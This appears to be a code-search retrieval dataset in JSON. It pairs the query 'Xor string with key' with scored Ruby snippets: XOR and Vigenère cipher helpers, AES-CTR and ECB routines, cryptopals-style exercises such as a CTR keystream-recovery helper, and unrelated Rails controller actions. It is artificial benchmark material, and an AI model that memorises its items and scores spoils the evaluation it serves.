#show or /itineraries/1?\"\n render json: response.body\n\n end", "title": "" }, { "docid": "a5b00eff2393ea7dd9d776e4226b515f", "score": "0.5263842", "text": "def show\n @lure = Lure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lure }\n end\n end", "title": "" }, { "docid": "7691c09887fc564c980c01eb169abc18", "score": "0.5263665", "text": "def index\n @api_v1_victims = Api::V1::Victim.all\n respond_to do |format|\n format.html { @api_v1_victims }\n format.json { render json: {results: @api_v1_victims, message: 'Victims have loaded successfully.'} }\n end\n end", "title": "" }, { "docid": "d55c5081a414dc15dc7d278eb6408f88", "score": "0.5261515", "text": "def robot\n respond_to do |format|\n format.html \n format.json { render json: @dash.terms }\n end \n end", "title": "" }, { "docid": "3ed276846dca85986057c320d5a701a4", "score": "0.5261067", "text": "def index \n spices = Spice.all\n render json: spices\nend", "title": "" }, { "docid": "ff6c053c581d649464438f3478297516", "score": "0.5258292", "text": "def index\n @pulses = Pulse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pulses }\n end\n end", "title": "" }, { "docid": "46574bd42fe92aa82f746f14b762c8fb", "score": "0.52543616", "text": "def index\n @lotteries = Lottery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lotteries }\n end\n end", "title": "" }, { "docid": "46574bd42fe92aa82f746f14b762c8fb", "score": "0.52543616", "text": "def index\n @lotteries = Lottery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lotteries }\n end\n end", "title": "" }, { "docid": "41cdbed81213cb82cf121c10ccffba23", "score": "0.52525616", "text": "def index\n @tallies = Tally.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tallies }\n end\n end", "title": "" }, { "docid": "1634c2b7bd08d223a6e4310f2ef9011b", "score": "0.52475756", "text": "def index\n @lollies = Lolly.all\n end", "title": "" }, { "docid": "9ce92bb0869e388b95df4a69ae8b0829", "score": "0.52463657", "text": "def index\n @dusts = Dust.all\n render json: @dusts\n end", "title": "" }, { "docid": "5cef5ac642a07b81e8bf6125c9677133", "score": "0.5243524", "text": "def create\n @slider = Admin::Slider.new(slider_params)\n\n if @slider.save\n render json: @slider, status: :created\n else\n render json: @slider.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "769a6e0ea07292cb5714e6a90826d9da", "score": "0.5243447", "text": "def list\n get('/')\n end", "title": "" }, { "docid": "cb4014baa0ca4edb771bf1c6a0fcbdef", "score": "0.5226168", "text": "def index\n @skills = Skills\n\n render json: @skills\n end", "title": "" }, { "docid": "0729c75357f9c502ce238a78e853d572", "score": "0.5225568", "text": "def show\n @feature_slider = FeatureSlider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feature_slider }\n end\n end", "title": "" }, { "docid": "c3a8980b3c34cb80af4ecc6ed38791f6", "score": "0.5216043", "text": "def show\n @luggage = luggages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @luggage }\n end\n end", "title": "" }, { "docid": "1ce4f14567816a9aa664572a7d5911a4", "score": "0.52146894", "text": "def index\n @animation_carousels = AnimationCarousel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @animation_carousels }\n end\n end", "title": "" }, { "docid": "5bd846150ab4478dc1d78c4f1b6e6b0e", "score": "0.5214216", "text": "def index\n @leaps = Leap.page(params[:page]).order('created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leaps }\n end\n end", "title": "" }, { "docid": "b93b2c12f8de7c7dba26ddbdf70ecc2e", "score": "0.52086073", "text": "def index\n @counselors = Counselor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @counselors }\n end\n end", "title": "" }, { "docid": "217710858f54ed8284a3f5d3f70eb1d4", "score": "0.520726", "text": "def index\n # @votes = Vote.all\n # render :json => @votes\n @votes = Vote.all\n render json: @votes\n end", "title": "" }, { "docid": "b6f32c3dbfce31da8983225b53526d72", "score": "0.5202261", "text": "def index\n @voters = Voter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @voters }\n end\n end", "title": "" } ]
3ea9ccf3b4bcfbb29bb3f2366697fffd
Xor string with key
[ { "docid": "a32d5643f2cbedf7c7a6d6cce9fa92c6", "score": "0.8220381", "text": "def xor_string key, str\n\tarr = str.unpack(\"C*\").each_with_index.map do |ch, i| ch^(key[i%key.length]) end\n\tarr.pack(\"C*\")\nend", "title": "" } ]
[ { "docid": "1441f35d45035c4d15cff76817cada4a", "score": "0.798074", "text": "def repeating_key_xor(string, key)\n counter = 0\n encrypted = []\n string.bytes.each do |byte|\n encrypted << (byte ^ key.bytes[counter])\n \n counter = counter == 2 ? 0 : counter += 1\n end\n # binding.pry\n encrypted.map{ |i| sprintf(\"%02x\", i) }.join.strip\n end", "title": "" }, { "docid": "61111fc4431d32fffb6cedcc4a77ce0f", "score": "0.7778583", "text": "def xor(input)\n key = 128\n output = input.split(//).collect {|e| [e.unpack('C').first ^ (key & 0xFF)].pack('C') }.join\n output = output.split(//).collect {|e| [e.unpack('C').first ^ (key - 27 & 0xFF)].pack('C') }.join\n Base64.strict_encode64(output)\nend", "title": "" }, { "docid": "01cd6d47abf4ac9f89fa162794b265fc", "score": "0.7713954", "text": "def repeat_key_xor(text, key)\n\thex_text = text.unpack('H*').join\n\t#Unpack the key into its individual letters\n\tkey_array = key.unpack('H2H2H2')\n\tout = hex_text.scan(/../).map.with_index { |a, i| fixed_xor(a, key_array[i.modulo(3)]) }.join\nend", "title": "" }, { "docid": "bf539d8c731b45801ffb2a3274a1e816", "score": "0.7697055", "text": "def xor (keynum, pt, key)\n # get the individual key from the key schedule\n k = key[keynum,4]\n if $decrypt\n # reverse the reversed key to correct it\n k = k.reverse\n # run the key through the permputation if we are in the correct step\n if $permute\n k = permute(k, $perm)\n end\n end\n # xor the key and hex\n ret = k.hex ^ pt.hex\n # turn the number back into hex\n ret = ret.to_s(16)\n # pad the number with leading 0's\n while (ret.length < 4)\n ret.prepend(\"0\")\n end\n return ret\nend", "title": "" }, { "docid": "40776f75ad2e68ef5fa30bb08aa90444", "score": "0.7387383", "text": "def calculate_doublepulsar_xor_key(s)\n x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))\n x & 0xffffffff # this line was added just to truncate to 32 bits\n end", "title": "" }, { "docid": "f531c6c6c85a4e4dacdad29adaa016b3", "score": "0.7305916", "text": "def otp(plaintext, key)\n results = pad_key normalize(plaintext), normalize(key)\n xor results.first, results.last\n end", "title": "" }, { "docid": "72acdee838070518f8954b7c401897b2", "score": "0.7257158", "text": "def singleByteXOR(hexStr, keyChar)\n #ASCII character -> 1 byte of binary (8 bit) -> 2-digit hex\n hexKeyChar = binToHex(decToBin(keyChar.ord).rjust(8, '0'))\n \n #XOR output (hex)\n xorOutput = \"\"\n \n i = 0\n begin\n #Take 2 characters of hex from input stream\n hexStrChunk = hexStr[i..(i+1)]\n \n xorOutput.concat(hex_XOR(hexStrChunk, hexKeyChar))\n \n i = i + 2\n end until i > hexStr.length - 1\n \n return xorOutput\nend", "title": "" }, { "docid": "cf1a6831264dab35bac66bca4b0e6c6e", "score": "0.71472985", "text": "def encode(s)\n len = s.length\n key_repeats = len / @keylen\n extended_key = @key * key_repeats\n if len % @keylen > 0\n partial_key = len % @keylen\n extended_key += @key[0..partial_key-1]\n end\n\n return XorEncryptor.xor_hex(s, extended_key)\n # xored = s.to_i(16) ^ extended_key.to_i(16)\n # decrypt = xored.to_s(16)\n # decrypt = \"0#{decrypt}\" if decrypt.length % 2 > 0 # hacky...\n # decrypt\n end", "title": "" }, { "docid": "fb706adf8409fb056abec14dca517056", "score": "0.7069855", "text": "def crypt(plaintext, key)\n ciphertext = String.new\n\n plaintext.chars.each_with_index do |c, i|\n ciphertext << \"%02x\" % (c.bytes[0] ^ key[i % key.length].bytes[0])\n end\n\n ciphertext\n end", "title": "" }, { "docid": "b1bd02cdc2805d6ea3044ae155abe584", "score": "0.682749", "text": "def xordecrypt\n return match(@payload,@prefix,@keys,@keywords)\n end", "title": "" }, { "docid": "692290b1416223659b1fedd106a11027", "score": "0.68238956", "text": "def xor(first, second)\n first.bytes.zip(second.bytes).map{ |(a,b)| (a ^ b).chr }.join('')\n end", "title": "" }, { "docid": "325bb72650fe2a523ab27a3ef74ce946", "score": "0.6766909", "text": "def XOR(str1,str2)\n ret =\"\"\n str1.split(//).each_with_index do |c, i|\n ret[i] = (str1[i].ord ^ str2[i].ord).chr\n end\n return ret\nend", "title": "" }, { "docid": "27546cd2dcbce8c07ac1ac43bbf4e678", "score": "0.6764262", "text": "def xor_cypher(str)\n # try rewrite using Array#pack 'H*' or String#unpack\n str_byte_arr = str.scan(/../).map { |h| h.to_i(16) }\n processed_buffers = []\n \n #instead of taking two arrays, take in 1\n string_xor_ascii(processed_buffers, str_byte_arr)\n find_plaintext(processed_buffers)\n end", "title": "" }, { "docid": "62e03a2c826b7f9becf5ac71dc148e75", "score": "0.66871566", "text": "def str_xor(s1, s2)\n if s1.length != s2.length:\n minlen = [s1, s2].map(&:length).min\n s1 = s1[0...minlen]\n s2 = s2[0...minlen]\n end\n s1.bytes.zip(s2.bytes).map{ |b1, b2| b1 ^ b2 }.map(&:chr).join\nend", "title": "" }, { "docid": "f128ed34b40e9e750759df445134048d", "score": "0.6592925", "text": "def xor_c\n end", "title": "" }, { "docid": "3ef96b3aeb8e68d89105c60c9238630e", "score": "0.6587085", "text": "def xor_strings(s1, s2)\r\n s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')\r\n end", "title": "" }, { "docid": "dad08dd8b28c57c620bf684061f02217", "score": "0.65787536", "text": "def xor_strings(str1, str2)\n decoded_and_xor = str1.hex ^ str2.hex\n decoded_and_xor.to_s(16)\n end", "title": "" }, { "docid": "d48bf48c912054e251230435921d896f", "score": "0.6565114", "text": "def xor(codes, string)\n Array.new([codes.size, string.size].min) { |i| codes[i] ^ string[i].ord }.map(&:chr).join\nend", "title": "" }, { "docid": "8a60ae68ba1116750580b2ce7a34d4a9", "score": "0.6472197", "text": "def xor_l\n end", "title": "" }, { "docid": "337a65f7df952b4073e8820ced65e2b6", "score": "0.6401508", "text": "def xor_byte_strings(s1, s2) # :doc:\n s2 = s2.dup\n size = s1.bytesize\n i = 0\n while i < size\n s2.setbyte(i, s1.getbyte(i) ^ s2.getbyte(i))\n i += 1\n end\n s2\nend", "title": "" }, { "docid": "fa1d7262494e0fd26febbff9dcaf33f3", "score": "0.63762766", "text": "def xor_e\n end", "title": "" }, { "docid": "7effd89a5270610c23dd3fb2c9f52ead", "score": "0.6375196", "text": "def xor_h\n end", "title": "" }, { "docid": "e082953715cd369c9787f10ab3dd1bcd", "score": "0.6350775", "text": "def crypt(text,key,operator = :+)\n index = 0\n text.upcase.each_byte.reduce(\"\") do |res, c|\n res << (65 + (c.send(operator, key[index % key.length].ord)) % 26).chr\n index += 1\n res\n end\nend", "title": "" }, { "docid": "ac43faba69a8891e4293f7cd51bbce03", "score": "0.6325317", "text": "def crypt(message, key)\n repeated_key = key * ((message.length+2) / key.length)\n\n #puts message.length\n #puts repeated_key.length\n \n (0..message.length-1).map{|i|\n message[i] ^ repeated_key[i]\n }\n\nend", "title": "" }, { "docid": "465518d2551cca5a95f2892800e74048", "score": "0.6323024", "text": "def xor_d\n end", "title": "" }, { "docid": "b92280a9ad9fa5a3f9cb5ed22ce0471f", "score": "0.6322934", "text": "def potential_strings_from_single_char_xor(encoded_string)\n # for all bytes...\n (0..255).map do |decoded_char|\n # Create a hex string equal in length to the target\n decoding_string = bytes_to_hex([decoded_char] * encoded_string.length)\n\n DecodedString.new(\n decoded_char,\n xor_hex(encoded_string, decoding_string)\n )\n end\nend", "title": "" }, { "docid": "c8379eb19c0853a019c3931abe2ceb7e", "score": "0.63165957", "text": "def xor_decrypt(bytes, password)\r\n decrypt = \"\"\r\n pw_index = 0 #keeps track of index to cycle password\r\n\r\n bytes.each do |i|\r\n decrypt += (i ^ password[pw_index]).to_s + \",\" #run xor operation\r\n pw_index += 1\r\n #loop over the password if it reaches its limit\r\n if pw_index > password.length - 1\r\n pw_index = 0\r\n end\r\n end\r\n #returns as a string of ascii values\r\n decrypt\r\nend", "title": "" }, { "docid": "402804caec7c59594b1e8ea59a1cb359", "score": "0.631125", "text": "def xor(a, b)\n\tm = \"\"\n\tif a.length > b.length\n\t\tbig = a\n\t\tsmall = b\n\telse\n\t\tbig = b\n\t\tsmall = a\n\tend\n\t#a = a.to_i(16).to_s(2) # convert to binary\n\t#b = b.to_i(16).to_s(2) # convert to binary\n\t# xor each byte individually\n\tfor i in 0...(small.length)\n\t\tm << (a[i,1].to_i(16)^b[i,1].to_i(16)).to_s(16) # append to msg string in hex\n\tend\n\t# append the rest of the bigger string\n\t#for i in small.length...big.length\n\t#\tm << big[i].chr\n\t#end\n\treturn m\nend", "title": "" }, { "docid": "54188ef2a3f2c214143424ada2908b86", "score": "0.6302312", "text": "def xor(x, y)\n\nend", "title": "" }, { "docid": "ca9eb1f8f2488b4140ce0d2fa7bd3784", "score": "0.6300319", "text": "def xor_hex(a, b)\n raise \"Unequal buffers passed.\" if a.length != b.length\n (a.hex ^ b.hex).to_s(16)\nend", "title": "" }, { "docid": "b57149b2cfb1b52ce8900049d083f003", "score": "0.629862", "text": "def vigenere_cipher(string, key_sequence)\n result = \"\"\n string.each_char.with_index do |c, idx|\n key_idx = idx % key_sequence.length\n key = key_sequence[key_idx]\n result << shift(c, key)\n end\n result\nend", "title": "" }, { "docid": "fe5f352b5980781ed315b50258fc2b0b", "score": "0.6296409", "text": "def to_uncryp(key)\n src = self\n\n key_len = key.size\n key = 'Think Space' if key_len == 0\n key_pos = 0\n\n offset = sprintf(\"%d\", '0x' + src[0,2]).to_i\n src_pos = 2\n dest = ''\n\n begin\n src_asc = sprintf(\"%d\", '0x' + src[src_pos,2]).to_i\n tmp_src_asc = src_asc ^ key[key_pos].ord\n tmp_src_asc = tmp_src_asc <= offset ? 255 + tmp_src_asc - offset : tmp_src_asc - offset\n dest = dest + tmp_src_asc.chr\n offset = src_asc\n key_pos = key_pos < key_len - 1 ? key_pos + 1 : 0\n src_pos = src_pos + 2\n end until src_pos >= src.size\n \n dest\n end", "title": "" }, { "docid": "beeaf6c7c345a28a1ed9dfac28bafa5a", "score": "0.62725", "text": "def xor_b\n end", "title": "" }, { "docid": "c33c29366d9bfc49aa7ae45e75c9d9ed", "score": "0.6256055", "text": "def inv_xor(str1, str2)\n #result = ''\n #for i in 0..(str1.size - 1) do\n # result += mod_sub(str1[i].chr, str2[i].chr)\n #end\n #result\n\n # Probably slower than above:\n str1.split(//).zip(str2.split(//)).inject('') do |acc, ch| \n acc += mod_sub(ch.first, ch.last) \n end\n end", "title": "" }, { "docid": "8308ec1d992c707928ddbd5b26419e3a", "score": "0.62232363", "text": "def xor(b)\n r = []\n zip_bytes(b) { |i,j| r << (i ^ j) }\n Id.new r.length, false, r\n end", "title": "" }, { "docid": "6294148cedc1ff61366bd27d567e1fee", "score": "0.62046725", "text": "def xor_a\n end", "title": "" }, { "docid": "bfdea45a47dc9555915a1ed5c71eb431", "score": "0.6186214", "text": "def ctr(text, key, nonce)\n text.\n bytes.\n each_slice(16).\n map.\n with_index do |block, block_index|\n keystream = _ecb_encrypt([nonce, block_index].pack(\"QQ\"), key)\n\n block.map.with_index do |byte, byte_index|\n byte ^ keystream[byte_index].ord\n end\n end.flatten.pack(\"C*\")\n end", "title": "" }, { "docid": "cec73ff9f9c33852192d0a3f07b8f924", "score": "0.6172733", "text": "def challenge25(ciphertext, edit_proc)\n CryptUtil.xor(ciphertext, edit_proc.call(0, \"\\x00\" * ciphertext.bytesize))\n end", "title": "" }, { "docid": "b23acb40306d8ec2cf816b59a500afcb", "score": "0.6159679", "text": "def xor(e1, e2)\n eval_ex(e1) ^ eval_ex(e2)\n end", "title": "" }, { "docid": "dd120f6b87a59424751d286b44bb272c", "score": "0.61132497", "text": "def crypt(p0) end", "title": "" }, { "docid": "d6f315f2de0f387dbcb6f595964d7f65", "score": "0.6089942", "text": "def decrypt(ciphertext, key)\n plaintext = []\n i = 0\n ciphertext.each_byte do |c|\n p = c ^ key[i % 3][0]\n i += 1\n plaintext << p.chr\n end\n return plaintext.join\nend", "title": "" }, { "docid": "6dae449c634463135af753fb563db7a0", "score": "0.6078811", "text": "def vigenere_cipher(string, key_sequence)\n\nend", "title": "" }, { "docid": "2a40d560e23152b18b8503711deaedee", "score": "0.60448897", "text": "def addEncoded(char1, char2)\n char1 ^ char2\n end", "title": "" }, { "docid": "1e3a59e2bdc612ae0fa6372ed80546f7", "score": "0.6034529", "text": "def crack_xor\n key_size = (2..40).to_a\n data = Tools.get_data6\n binding.pry\n \n end", "title": "" }, { "docid": "58128349d0aac6f13ce6b4c9fa7b99be", "score": "0.60091114", "text": "def xor(other)\n @bits ^ bits_from_object(other)\n end", "title": "" }, { "docid": "e27c518a99fec74759954fe9f81cfff6", "score": "0.60035676", "text": "def hex_XOR(hex1, hex2)\n bin1 = hexToBin(hex1)\n bin2 = hexToBin(hex2)\n \n #XOR result in binary\n xorBin = \"\"\n \n for i in 0..bin1.length-1 do\n xorBitResult = bin1[i].to_i ^ bin2[i].to_i\n xorBin.concat(xorBitResult.to_s)\n end\n \n return binToHex(xorBin)\nend", "title": "" }, { "docid": "2f39a8e91b4fa450072576a41f01602e", "score": "0.59792787", "text": "def crypt(block, key)\n key = key.bytes\n k = []\n k << key.first << key.last\n k = k.join.to_i\n block.map { |bit| bit.odd? ? bit ^ k : bit ^ (ROUNDS ^ k) }\n end", "title": "" }, { "docid": "bede411a580204d2f9b082ffe64f28f0", "score": "0.5945457", "text": "def __xor_byte(o)\n\t\treturn Buffer.__new__(@bytes.map { |b| b ^ o })\n\tend", "title": "" }, { "docid": "a8c7a0c136b590a6491b4a04f1f7e9df", "score": "0.59420973", "text": "def test_SimpleXor\n puts \"SUITE: test_SimpleXor\"\n\n puts \" TEST: (hex) CD enter, AB enter, xor\"\n click(\"buttonC\")\n click(\"buttonD\")\n click(\"buttonEnter\")\n click(\"buttonA\")\n click(\"buttonB\")\n click(\"buttonEnter\")\n click(\"buttonXor\")\n assertResultVal(\"line0\", (0xCD ^ 0xAB))\n\n click(\"buttonClrAll\")\n assertResultEmp(\"line0\")\n\n puts \" TEST: (hex) CD enter, AB, xor\"\n click(\"buttonC\")\n click(\"buttonD\")\n click(\"buttonEnter\")\n click(\"buttonA\")\n click(\"buttonB\")\n click(\"buttonXor\")\n assertResultVal(\"line0\", (0xCD ^ 0xAB))\n\n click(\"buttonClrAll\")\n assertResultEmp(\"line0\")\nend", "title": "" }, { "docid": "4d173200e38501052dca801046536a12", "score": "0.59401983", "text": "def xor_bytes(bytes1, bytes2)\n results_in_bytes = (0...bytes1.length).map { |i| bytes1[i] ^ bytes2[i] }\n bytes_to_hex(results_in_bytes)\nend", "title": "" }, { "docid": "245c70ce0ff2ede6aabc782c9124b5c4", "score": "0.5939783", "text": "def xor_n\n value = next_byte\n xor_to_a value\n @clock += 2\n end", "title": "" }, { "docid": "fb5d34757edbcb13b2c90966e1e59e41", "score": "0.5936381", "text": "def decode(numbers, key)\n result = \"\"\n numbers.each_with_index do |n, i|\n result += (n ^ key[i % 3].ord).chr\n end\n result\nend", "title": "" }, { "docid": "3dd2307928b736568949149956c4b68c", "score": "0.5929533", "text": "def challenge5(s, k)\n Utils::HexString.from_bytes(CryptUtil.xor(s.bytes, k))\n end", "title": "" }, { "docid": "8b8a38923525d0a4a52f0d51076a59c7", "score": "0.59176195", "text": "def xor_hex(hex1, hex2)\n s1b = hex_to_bytes(hex1)\n s2b = hex_to_bytes(hex2)\n xor_bytes(s1b, s2b)\nend", "title": "" }, { "docid": "f0487f17f11e10b8411907336e22181c", "score": "0.59142", "text": "def rot(n = 1)\n mask = n.chr * (self.len / 2)\n mask = Plaintext.new(mask).hexc\n res = fixedXOR(self.hex, mask.hex)\n Hex.new(res)\n end", "title": "" }, { "docid": "f1802de52d9dc35d82bf69d5e1be8b41", "score": "0.59050786", "text": "def xor(bytes1, bytes2)\n bytes1.zip(bytes2).map { |b1, b2| b1 ^ b2 }\nend", "title": "" }, { "docid": "0527249bfb54c3bd3e1083e605926a3b", "score": "0.59025055", "text": "def caesar_cipher(str, shift)\n\nend", "title": "" }, { "docid": "4258724f8aa39b245d2395e8fb8a673a", "score": "0.58971274", "text": "def xor(*args)\n args.inject(self, :^)\n end", "title": "" }, { "docid": "24c9beb412748aca5e4fda1bd45e648c", "score": "0.58915204", "text": "def caesar_cipher(string, shift)\nend", "title": "" }, { "docid": "535198eb1211a5229dd8fc91326f5e3b", "score": "0.5849526", "text": "def xor_d8\n end", "title": "" }, { "docid": "49073f8b345ff336c4c29e8be24cb5d5", "score": "0.58490545", "text": "def encrypt(string)\n CRYPTO.encrypt_string(string).to_64\nend", "title": "" }, { "docid": "fa131d4f3c3f3da489a4bdaf432e1b40", "score": "0.5844827", "text": "def breakXORCipher(cipherText)\n scoredTexts = Hash.new\n \n #Try all ASCII keys from \n for i in 32..126 do\n keyChar = i.chr\n \n possiblePlaintext = hexToASCII(singleByteXOR(cipherText.upcase, keyChar))\n scoredTexts[keyChar] = scorePlaintext(possiblePlaintext)\n \n if(scoredTexts[keyChar] == possiblePlaintext.length)\n puts cipherText\n puts possiblePlaintext \n puts keyChar + \" scored \" + scoredTexts[keyChar].to_s\n end\n end\nend", "title": "" }, { "docid": "bd861060a79551384c69d80c46765229", "score": "0.58320403", "text": "def encode(plaintext, key)\n cipher = key.chars.uniq + (('a'..'z').to_a - key.chars)\n ciphertext_chars = plaintext.chars.map do |char|\n (65 + cipher.find_index(char)).chr\n end\n puts ciphertext_chars.join\nend", "title": "" }, { "docid": "d7ea9b4d9699a6115e919cb7dc0c8a2e", "score": "0.5831032", "text": "def op_xor(t_sym, f_sym, num)\n chars = num.split('')\n num_of_trues = 0\n chars.each do |c|\n if c == \"1\"\n num_of_trues += 1\n end\n end\n\n if num_of_trues.to_i.even?\n return f_sym\n else\n return t_sym\n end\nend", "title": "" }, { "docid": "6e692099fc61b5acb9e4de7f0f426bb1", "score": "0.58279234", "text": "def encrypt_ecb_nofinal(msg, key)\n cipher = OpenSSL::Cipher.new('AES-128-ECB')\n cipher.encrypt\n cipher.key = key\n return cipher.update(msg)\nend", "title": "" }, { "docid": "89f21319bdc5a61fcbfc1d06d6c2aaa9", "score": "0.58172894", "text": "def ^(obj)\n bytes1 = @value.bytes\n bytes2 = bytes(obj)\n\n bytes1, bytes2 = bytes2, bytes1 if bytes1.length < bytes2.length\n\n res = Array.new(bytes1.length) { |i| bytes1[i] ^ bytes2[i % bytes2.length] }\n res = str(res)\n res.to_raw\n end", "title": "" }, { "docid": "0cfb0e773c9c18e0cfb044348ffb9f80", "score": "0.58121467", "text": "def ^ other\n (self.to_s ^ other).to_sym\n end", "title": "" }, { "docid": "fc451d960a5eab6d10dff65cd725720c", "score": "0.58110774", "text": "def cryptor\n key = Rails.application.secrets.secret_key_base.bytes[0..31].pack( \"c\" * 32 )\n ActiveSupport::MessageEncryptor.new(key)\n end", "title": "" }, { "docid": "6bdda0b3d6883f69848a0fff1de317d0", "score": "0.57881385", "text": "def bphash( key, len=key.length )\n state = 0\n \n len.times{ |i|\n state = state << 7 ^ key[i]\n }\n return state\nend", "title": "" }, { "docid": "1917eefbc225d86178fb4a7c84221547", "score": "0.5776774", "text": "def vigenereCipher(string, key, alphabet)\n aryStr = string.split(\"\")\n nStr = Array.new\n i = 0\n while i < aryStr.length\n j = 0\n while j < key.length\n nStr << (alphabet[(alphabet.index(aryStr[i]) + key[j])])\n j += 1\n i += 1\n end\n end\n return nStr.join('')\nend", "title": "" }, { "docid": "57f4403a958e9be5a8b1bff9415ae41a", "score": "0.5776138", "text": "def xor(a,b)\n (a | b) - (a & b)\n end", "title": "" }, { "docid": "2871e11797f4fd983b4ae6a2e33b0a27", "score": "0.57682204", "text": "def child_get_string_encrypted(name, key = nil)\n if (key == nil)\n key = DEFAULT_KEY\n end\n if (key.length != 16)\n abort(\"Invalid key, key length sholud be 16\")\n end\n value = child_get_string(name)\n value_array = value.lines.to_a\n plaintext = RC4(key, value_array.pack('H*'))\n plaintext\n end", "title": "" }, { "docid": "922bc63d56c9d337deef3f804cffe6b4", "score": "0.5756229", "text": "def vigenere_cipher(message, key)\n key_index = 0 \n alpha = (\"a\"..\"z\").to_a\n new_str = \"\"\n\n message.each_char.with_index do|char,idx|\n new_str += alpha[(alpha.index(char) + key[key_index % key.length])%26]\n key_index += 1\n end\n new_str\nend", "title": "" }, { "docid": "2f83d715537f45606603d961f50a0ba4", "score": "0.5745807", "text": "def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end", "title": "" }, { "docid": "235f30a7f00ad5d5f29e2d9493b53bc6", "score": "0.57408", "text": "def encrypt string\n string\n end", "title": "" }, { "docid": "ccbbfed5689eff7d084ebc37c5d05bba", "score": "0.5735695", "text": "def encrypt_key(passwd, _options = {})\n passwd = passwd.to_s\n raise 'Missing encryption password!' if passwd.empty?\n Digest::SHA256.digest(passwd)\n end", "title": "" }, { "docid": "d9e55099d65d29cbe0639878a7d5c746", "score": "0.5703405", "text": "def bit_xor(x, bits)\n bits.map{|b| x[b]}.reduce(:^)\n end", "title": "" }, { "docid": "8c83cdf363dc5b3568f7264add96b65b", "score": "0.5702645", "text": "def x_xor_y\n x = @x.content\n y = @y.content\n z = Array.new @z.length, 0\n\n @z.length.times { |i| z[i] = x[i] ^ y[i] }\n\n @z.content = z\n end", "title": "" }, { "docid": "91e949e4385739f9942924abdda89a69", "score": "0.56985056", "text": "def generate_key\n begin\n multipliers = eval(self.software.multipliers)\n key = []\n self.challenge.split(\"-\").each_with_index do |word,i|\n word = word.to_i(16) # convert hex to dec\n word *= (word[0].even?) ? multipliers[i][:even] : multipliers[i][:odd]\n key << word.to_s(16).reverse[0,8].reverse # convert dec to hex, keep only 8 rightmost hex characters\n end\n self.activation_key = key.join(\"-\").upcase\n rescue\n self.activation_key = \"error!\"\n end\n end", "title": "" }, { "docid": "65151eab8382914f4ce336c7ca2e9b33", "score": "0.5689716", "text": "def encryption_oracle\n # From an early-on AES-128-ECB exercise. 'YELLOW SUBMARINE' is the 128-bit key.\n ciphertext = URL::decode64('http://cryptopals.com/static/challenge-data/25.txt')\n plaintext = AES_128.decrypt(ciphertext, 'YELLOW SUBMARINE', :mode => :ECB)\n\n AES_128.encrypt(plaintext, AES_KEY, :mode => :CTR)\nend", "title": "" }, { "docid": "57cdcab9da60359283293891a45f584a", "score": "0.56824625", "text": "def vigenere_cipher(string, key_sequence)\n alphabet = ('a'..'z').to_a\n keys = key_sequence.dup\n result = \"\"\n while result.length < string.length\n c = string[result.length] \n offset = (alphabet.index(c) + keys.first) % 26 \n result += alphabet[offset]\n keys.push(keys.shift)\n end\n result\nend", "title": "" }, { "docid": "12c554d595f8d765de09d4fa235e9b0e", "score": "0.56783044", "text": "def vigenere_cipher(string, key_sequence)\n result = \"\"\n alphabet = (\"a\"..\"z\").to_a\n string.each_char.with_index do |ch, idx|\n key_idx = idx % key_sequence.length\n char_idx = (alphabet.index(ch) + key_sequence[key_idx]) % alphabet.length\n result << alphabet[char_idx]\n end\n result\nend", "title": "" }, { "docid": "e5a36336265af274ec9e948afb6fa5ef", "score": "0.5668993", "text": "def xor(policy, *others)\n __factory_method__(Xor, policy, others)\n end", "title": "" }, { "docid": "6801ca51f69ee205f4eac1fc5f03b22c", "score": "0.56677836", "text": "def vigenere_cipher(message, keys)\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n new_str = \"\"\n if keys.length == 1\n message.each_char do |char|\n alpha_idx = alpha.index(char)\n new_idx = (alpha_idx + keys[0]) % 26\n new_str += alpha[new_idx]\n end\n else\n new_keys = keys\n message.each_char do |char|\n alpha_idx = alpha.index(char)\n new_idx = (alpha_idx + new_keys[0]) % 26\n new_str += alpha[new_idx]\n new_keys.rotate!(1)\n end\n end\n new_str\n \nend", "title": "" }, { "docid": "1d6693a0ffb1f758c776c9e597809c0d", "score": "0.566031", "text": "def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end", "title": "" }, { "docid": "c60f16285eade731e645a9f31c84d5c9", "score": "0.56577533", "text": "def crypt( decrypt_or_encrypt, data, pwhash, iv )\n c = OpenSSL::Cipher.new CIPHER\n c.send decrypt_or_encrypt.to_sym\n c.key = pwhash\n c.iv = iv\n c.update( data ) << c.final\n end", "title": "" }, { "docid": "74469ea361743a67bad3da44e8ccb4f9", "score": "0.5656807", "text": "def vigenere_cipher(string, key_sequence, alphabet)\r\n\r\nend", "title": "" }, { "docid": "541793fd451d771d5466e1b73dee045f", "score": "0.56524146", "text": "def xorobfuscation(io)\n key, verification_bytes = io.read(4).unpack('vv')\n\n {\n key: key, # key (2 bytes): An unsigned integer that specifies the obfuscation key. See [MS-OFFCRYPTO], 2.3.6.2 section, the first step of initializing XOR array where it describes the generation of 16-bit XorKey value.\n verificationBytes: verification_bytes # verificationBytes (2 bytes): An unsigned integer that specifies the password verification identifier. See Password Verifier Algorithm.\n }\n end", "title": "" }, { "docid": "4bdf400095a86f8a0a38b78e6b55002c", "score": "0.5650411", "text": "def rotx2(x, string, encrypt=true)\n offset = encrypt ? x % 26 : -x % 26\n string.tr('A-Za-z', rotated_alph(offset))\nend", "title": "" }, { "docid": "426900b0cc9bc405e9b38229e45f6a5b", "score": "0.5644722", "text": "def encrypt(string)\n secure_hash(\"#{salt}--#{string}\") \n\tend", "title": "" }, { "docid": "f4724f991d0b3281c703d6a9e4c4f567", "score": 